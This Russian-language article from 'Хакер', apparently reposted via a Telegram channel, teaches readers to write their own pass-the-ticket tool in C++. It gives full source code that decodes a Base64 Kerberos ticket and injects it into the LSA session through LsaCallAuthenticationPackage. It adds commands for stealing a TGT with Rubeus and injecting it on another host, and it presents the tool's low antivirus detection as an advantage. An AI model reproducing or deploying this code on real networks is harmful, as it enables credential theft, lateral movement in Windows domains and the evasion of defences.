Хакер - Долой Mimikatz! Инжектим тикеты своими руками

Хакер - Долой Mimikatz! Инжектим тикеты своими руками

hacker_frei

https://t.me/hacker_frei

MichelleVermishelle

Содержание статьи

  • Получение тикета
  • Подключение к LSA
  • Обнаружение AP
  • Внедрение билета
  • Проверка
  • Выводы

Для реали­зации целого ряда атак типа pass the ticket необ­ходимо внед­рить в ском­про­мети­рован­ную сис­тему билет Kerberos. Обыч­но для это­го исполь­зуют­ся инс­тру­мен­ты вро­де Mimikatz, Impacket или Rubeus, но они отлично палят­ся анти­виру­сами, что дела­ет такой под­ход неэф­фектив­ным. В этой статье я под­робно рас­смот­рю методы решения этой задачи без вспо­мога­тель­ных инс­тру­мен­тов, с исполь­зовани­ем толь­ко WinAPI и магии.

В пре­дыду­щей моей статье я рас­ска­зал об Authentication Package, Security Package и мы успешно перех­ватили пароль поль­зовате­ля. Но это­го мало, не так ли? Сле­дующим шагом будет внед­рение билетов Kerberos для реали­зации ата­ки pass the ticket. Само собой, никако­го Mimikatz и Impacket мы исполь­зовать не будем. Абсо­лют­но все будет сде­лано сво­ими силами (ну и с исполь­зовани­ем стан­дар­тно­го Win32 API).

ПОЛУЧЕНИЕ ТИКЕТА

Ти­кет переда­ется ата­кующе­му, нап­ример при дам­пе, в фор­мате Base64 — в «сыром» виде тикет может иметь непеча­таемые сим­волы, что при­ведет к выводу на экран непонят­но чего. В свя­зи с этим, что­бы наш код мог инжектить рабочие тикеты, сле­дует пре­дус­мотреть в нем воз­можность декоди­ровать получен­ную стро­ку. Пред­лагаю соз­дать файл stuff.h, в котором реали­зуем прос­тень­кую фун­кцию для декоди­рова­ния зна­чения Base64. Допол­нитель­но помес­тим туда все заголо­воч­ные фай­лы, которые пот­ребу­ются нам в будущем.

#pragma once

#define WIN32_NO_STATUS

#define SECURITY_WIN32

#include <windows.h>

#include <sspi.h>

#include <NTSecAPI.h>

#include <ntsecpkg.h>

#include <iostream>

#include <string>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

#pragma comment (lib, "Secur32.lib")

static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',

'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',

'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',

'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',

'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',

'o', 'p', 'q', 'r', 's', 't', 'u', 'v',

'w', 'x', 'y', 'z', '0', '1', '2', '3',

'4', '5', '6', '7', '8', '9', '+', '/' };

static char* decoding_table = NULL;

static int mod_table[] = { 0, 2, 1 };

void build_decoding_table();

unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length);

void build_decoding_table() {

decoding_table = (char*)malloc(256);

if (decoding_table == NULL) {

exit(-1);

}

for (int i = 0; i < 64; i++) {

decoding_table[(unsigned char)encoding_table[i]] = i;

}

}

unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length) {

if (decoding_table == NULL) build_decoding_table();

if (input_length % 4 != 0) return NULL;

*output_length = input_length / 4 * 3;

if (data[input_length - 1] == '=') {

(*output_length)--;

}

if (data[input_length - 2] == '=') (*output_length)--;

unsigned char* decoded_data = (unsigned char*)malloc(*output_length);

if (decoded_data == NULL) return NULL;

for (int i = 0, j = 0; i < input_length;) {

DWORD sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];

DWORD sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];

DWORD sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];

DWORD sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];

DWORD triple = (sextet_a << 3 * 6)

+ (sextet_b << 2 * 6)

+ (sextet_c << 1 * 6)

+ (sextet_d << 0 * 6);

if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;

if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;

if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;

}

return decoded_data;

}

Ти­кет нашей прог­рамме мы будем переда­вать через аргу­мен­ты коман­дной стро­ки. Соз­дадим файл Source.cpp с таким содер­жимым:

#include "stuff.h"

void usage() {

std::cout << "ptt.exe <b64 ticket>" << std::endl;

}

int main(int argc, char** argv) {

if (argc != 2) {

usage();

return 1;

}

unsigned int kirbiSize = 0;

char* ticket = argv[1];

unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize);

if (kirbiSize == 0) {

std::wcout << L"[-] Error converting from b64" << std::endl;

return 1;

}

...

В этом фай­ле мы получа­ем вто­рой аргу­мент, содер­жащий закоди­рован­ный в Base64 тикет. Пер­вый — это имя прог­раммы: нап­ример, в слу­чае вызова prog.exe 123 в argv[0] будет prog.exe, а в argv[1] — 123. Пос­ле чего вызыва­ем фун­кцию для декоди­рова­ния, про­веря­ем, что раз­мер изме­нил­ся. Ведь если изме­нил­ся раз­мер, зна­чит, что‑то (может, даже и успешно) декоди­рова­лось.

ПОДКЛЮЧЕНИЕ К LSA

Имен­но про­цесс служ­бы LSA будет хра­нить в сво­ем адресном прос­транс­тве все тикеты. Внут­ри про­цес­са lsass.exe под­гру­жена kerberos.dll, которая и реали­зует все фун­кции одно­имен­ного про­токо­ла. Так или ина­че, сле­дует отли­чать TGT от TGS, да и в прин­ципе понимать работу «Кер­бероса». Вот виде­оро­лики, которые поз­волят нович­кам разоб­рать­ся в теме:

Под­клю­чить­ся к LSA нес­ложно, для это­го есть две спе­циаль­ные фун­кции.

NTSTATUS LsaRegisterLogonProcess(

[in] PLSA_STRING LogonProcessName,

[out] PHANDLE LsaHandle,

[out] PLSA_OPERATIONAL_MODE SecurityMode

);

NTSTATUS LsaConnectUntrusted(

[out] PHANDLE LsaHandle

);

Пер­вая поз­воля­ет получить хендл на LSA от лица про­цес­са вхо­да в сис­тему. Эту фун­кцию, нап­ример, вызыва­ет winlogon.exe во вре­мя вхо­да поль­зовате­ля в сис­тему. С помощью получен­ного таким обра­зом хен­дла появит­ся воз­можность исполь­зовать LSA для аутен­тифика­ции, управле­ния поль­зователь­ским вхо­дом и дос­тупом.

Вто­рая фун­кция дос­таточ­но незамыс­ловата — прос­то под­клю­чение к LSA от лица «недове­рен­ного» про­цес­са. Само собой, в этом слу­чае нель­зя будет исполь­зовать LSA для аутен­тифика­ции, но воз­можность прос­того вза­имо­дей­ствия с под­гру­жен­ными пакета­ми аутен­тифика­ции оста­нет­ся. Для нас пред­почти­тель­нее имен­но этот вари­ант.

HANDLE lsa_handle = NULL;

NTSTATUS status = LsaConnectUntrusted(&lsa_handle);

if (!NT_SUCCESS(status) || !lsa_handle) {

std::wcout << L"[-] Error connecting to lsa: " << LsaNtStatusToWinError(status) << std::endl;

return 1;

}

Здесь мы получа­ем хендл на LSA, а затем про­веря­ем с помощью ранее соз­данно­го мак­роса NT_SUCCESS() (лежит в stuff.h), что фун­кция успешно сра­бота­ла.

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

Ес­ли что‑то пош­ло не так, дер­гаем LsaNtStatusToWinError(). Эта фун­кция поз­воля­ет кон­верти­ровать непонят­ный код, с которым завер­шилась фун­кция, в челове­чес­кий код ошиб­ки. Что­бы узнать, в чем дело, ско­пируй получен­ное зна­чение и срав­ни его с ошиб­ками в до­кумен­тации Microsoft.

ОБНАРУЖЕНИЕ AP

У LSA каж­дый Authentication Package иден­тифици­рует­ся спе­циаль­ным номером, эда­ким «айдиш­ником», бла­года­ря которо­му сис­тема понима­ет, с чем тре­бует­ся вза­имо­дей­ство­вать для реали­зации фун­кций безопас­ности. Это чис­ловое зна­чение абсо­лют­но ран­домно, оно прис­ваивает­ся самой LSA, где и хра­нит­ся до перезаг­рузки сис­темы. Для получе­ния это­го номера исполь­зует­ся фун­кция LsaLookupAuthenticationPackage().

NTSTATUS LsaLookupAuthenticationPackage(

[in] HANDLE LsaHandle,

[in] PLSA_STRING PackageName,

[out] PULONG AuthenticationPackage

);

Пер­вым парамет­ром мы переда­ем хендл LSA, получен­ный вызовом LsaConnectUntrusted(), а даль­ше начина­ются проб­лемы. Фун­кция про­сит передать ей струк­туру LSA_STRING, которая выг­лядит вот так:

typedef struct _LSA_STRING {

USHORT Length;

USHORT MaximumLength;

PCHAR Buffer;

} LSA_STRING, *PLSA_STRING;

У меня далеко не с пер­вого раза получи­лось кор­рек­тно ини­циали­зиро­вать ее. Поэто­му, что­бы не мучить­ся в будущем, реали­зовал неболь­шую фун­кцию, при­нима­ющую имя пакета аутен­тифика­ции и воз­вра­щающую запол­ненную струк­туру:

LSA_STRING* create_lsa_string(const char* value)

{

char* buf = new char[100];

LSA_STRING* str = (LSA_STRING*)buf;

str->Length = strlen(value);

str->MaximumLength = str->Length;

str->Buffer = buf + sizeof(LSA_STRING);

memcpy(str->Buffer, value, str->Length);

return str;

}

// Вызов

PLSA_STRING lsaString = create_lsa_string("kerberos");

ULONG authenticationpackage = 0;

status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &authenticationpackage);

if (authenticationpackage == 0) {

std::wcout << L"[-] Error LsaLookupAP: " << LsaNtStatusToWinError(status) << std::endl;

return 1;

}

std::wcout << L"[?] Package id " << authenticationpackage << std::endl;

Ес­ли вызов был успе­шен, то LSA вер­нет нам этот самый «айдиш­ник» AP Kerberos, с помощью которо­го мы смо­жем вза­имо­дей­ство­вать через LSA с Kerberos.dll.

ВНЕДРЕНИЕ БИЛЕТА

Ос­талось лишь отдать билет Kerberos в соот­ветс­тву­ющий AP для его ини­циали­зации. Для вза­имо­дей­ствия с кон­крет­ным AP LSA пре­дос­тавля­ет фун­кцию LsaCallAuthenticationPackage(), которую мы и будем исполь­зовать для внед­рения билета:

NTSTATUS LsaCallAuthenticationPackage(

[in] HANDLE LsaHandle,

[in] ULONG AuthenticationPackage,

[in] PVOID ProtocolSubmitBuffer,

[in] ULONG SubmitBufferLength,

[out] PVOID *ProtocolReturnBuffer,

[out] PULONG ReturnBufferLength,

[out] PNTSTATUS ProtocolStatus

);

Пер­вым парамет­ром ука­зыва­ется тот же хендл на LSA, что и в пре­дыду­щих фун­кци­ях, вто­рым — «айдиш­ник» пакета аутен­тифика­ции. Далее в ProtocolSubmitBuffer и SubmitBufferLength сле­дует передать информа­цию, которую мы хотим сооб­щить пакету аутен­тифика­ции (в нашем слу­чае это TGT-билет). В ProtocolReturnBufferReturnBufferLength сам AP может помес­тить дан­ные, которые хочет вер­нуть прог­рамме. Наконец, пос­ледним парамет­ром воз­вра­щает­ся иден­тифика­тор ошиб­ки.

Прос­то взять и засунуть билет в вызов этой фун­кции не получит­ся. На текущем эта­пе наш билет находит­ся в перемен­ной kirbiTicket. Сна­чала сле­дует сге­нери­ровать струк­туру KERB_SUBMIT_TKT_REQUEST:

typedef struct _KERB_SUBMIT_TKT_REQUEST {

KERB_PROTOCOL_MESSAGE_TYPE MessageType;

LUID LogonId;

ULONG Flags;

KERB_CRYPTO_KEY32 Key;

ULONG KerbCredSize;

ULONG KerbCredOffset;

} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST

Здесь исполь­зуют­ся сле­дующие парамет­ры:

  • MessageType — опре­деля­ет типы сооб­щений, которые мы можем передать в AP Kerberos. Для инжекта тикета мы будем переда­вать KerbSubmitTicketMessage. Это озна­чает про­цеду­ру получе­ния тикета от KDC и обновле­ние кеша билетов;
  • LogonId — уни­каль­ный иден­тифика­тор текущей сес­сии, поз­воля­ющий AP иден­тифици­ровать, к какой сес­сии при­менять тикет (если не ука­зано, то AP Kerberos опре­делит LUID самос­тоятель­но);
  • Flags — допол­нитель­ные фла­ги;
  • Key — струк­тура, содер­жащая информа­цию о сес­сион­ном клю­че для тикета Kerberos;
  • KerbCredSizeKerbCredOffset — в слу­чае инжекта тикета в пер­вый параметр переда­ем раз­мер тикета, а во вто­рой — сдвиг. Сдвиг опре­деля­ет раз­мер этой струк­туры. Так как мы будем переда­вать в AP тикет и эту струк­туру, то AP дол­жен знать, начиная с какого сме­щения лежит тикет.

Кор­рек­тная переда­ча билета в AP Kerberos выг­лядит вот так:

NTSTATUS packageStatus;

DWORD submitSize, responseSize;

PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;

PVOID dumPtr;

submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + kirbiSize;

if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize))

{

pKerbSubmit->MessageType = KerbSubmitTicketMessage;

pKerbSubmit->KerbCredSize = kirbiSize;

pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);

RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, kirbiTicket, pKerbSubmit->KerbCredSize);

status = LsaCallAuthenticationPackage(lsa_handle, authenticationpackage, pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);

if (NT_SUCCESS(status))

{

if (NT_SUCCESS(packageStatus))

{

std::wcout << L"[+] Injected\n" << std::endl;

status = 0x0;

}

else if (LsaNtStatusToWinError(packageStatus) == 1398) {

std::wcout << L"[!!!!] ERROR_TIME_SKEW between KDC and host computer" << std::endl;

}

else std::wcout << L"[-] KerbSubmitTicketMessage / Package :" << LsaNtStatusToWinError(packageStatus) << "\n";

}

else std::wcout << L"[-] KerbSubmitTicketMessage :" << LsaNtStatusToWinError(status) << "\n";

}

LsaDeregisterLogonProcess(lsa_handle);

return 0;

}

Сна­чала мы рас­счи­тыва­ем раз­мер всех дан­ных, которые будут переда­ны в AP. Этот раз­мер равен раз­меру струк­туры KERB_SUBMIT_TGT_REQUEST (что­бы AP понял, что нам от него надо) плюс раз­мер тикета. Далее под эту струк­туру выделя­ется память, пос­ле чего ини­циали­зиру­ются ее эле­мен­ты.

В pKerbSubmit->KerbCredOffset мы помеща­ем раз­мер струк­туры, что­бы «Кер­берос» знал, что по адре­су pKerbSubmit + pKerbSubmit->KerbCredOffset будет лежать тикет раз­мером pKerbSubmit->KerbCredSize (KirbiSize). Копиру­ем по рас­счи­тан­ному адре­су тикет, пос­ле чего вызыва­ем AP с переда­чей ини­циали­зиро­ван­ной струк­туры. Затем про­веря­ем код ошиб­ки дваж­ды. Пер­вый код ошиб­ки (status) — воз­можная проб­лема при вызове самой фун­кции, нап­ример если lsa_handle невалид­ный. А вто­рой код (packageStatus) — код ошиб­ки непос­редс­твен­но самого AP, нап­ример если мы переда­дим неп­равиль­ный раз­мер.

При­чем я вынес в отдель­ный блок про­вер­ку на ошиб­ку ERROR_TIME_SKEW, которая появ­ляет­ся из‑за рас­хожде­ния (более пяти минут) во вре­мени меж­ду хос­том и KDC. Если подоб­ная раз­ница при­сутс­тву­ет, то TGT-билет не может быть обновлен из‑за того, что невоз­можно кор­рек­тно прой­ти этап пре­даутен­тифика­ции. Да, тикет получит­ся исполь­зовать, но лишь до тех пор, пока он не про­тух­нет. По умол­чанию вре­мя жиз­ни TGT-билета — десять часов.

Пос­ле это­го тикет будет успешно внед­рен в про­цесс lsass.exe и мы смо­жем его исполь­зовать. Фун­кци­ей LsaDeregisterLogonProcess() мы прос­то осво­бож­даем хендл на LSA.

ПРОВЕРКА

Ос­тает­ся лишь про­верить работос­пособ­ность кода. Пол­ный код про­екта пред­став­лен на GitHub. Сна­чала мы получим валид­ный TGT-билет любым удоб­ным спо­собом. Нап­ример, с помощью Rubeus:

.\Rubeus.exe tgtdeleg /nowrap

По­луче­ние тикета

Пе­ремес­тимся на дру­гую сис­тему и про­ведем инжект:

.\project.exe <b64 ticket>

ВЫВОДЫ

Мно­жес­тво атак мож­но реали­зовать без исполь­зования популяр­ных и обще­извес­тных инс­тру­мен­тов. У такого под­хода есть как минимум одно пре­иму­щес­тво: из‑за уни­каль­нос­ти кода, исполь­зования легитим­ных API и отсутс­твия в сиг­натур­ных базах появ­ляет­ся воз­можность обой­ти анти­вирус­ное ПО в два сче­та. Я заг­рузил свой про­ект на VirusTotal, не сде­лав абсо­лют­но никакой обфуска­ции и защиты. Вот как есть, так и закинул, со все­ми подоз­ритель­ными стро­ками, нап­ример [+] Injected, и получил все­го три детек­та.

Как ты понима­ешь, если мы заль­ем туда Mimikatz, Rubeus или дру­гой подоб­ный инс­тру­мент, который уме­ет выпол­нять внед­рение билетов, то детек­тов будет на порядок боль­ше.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page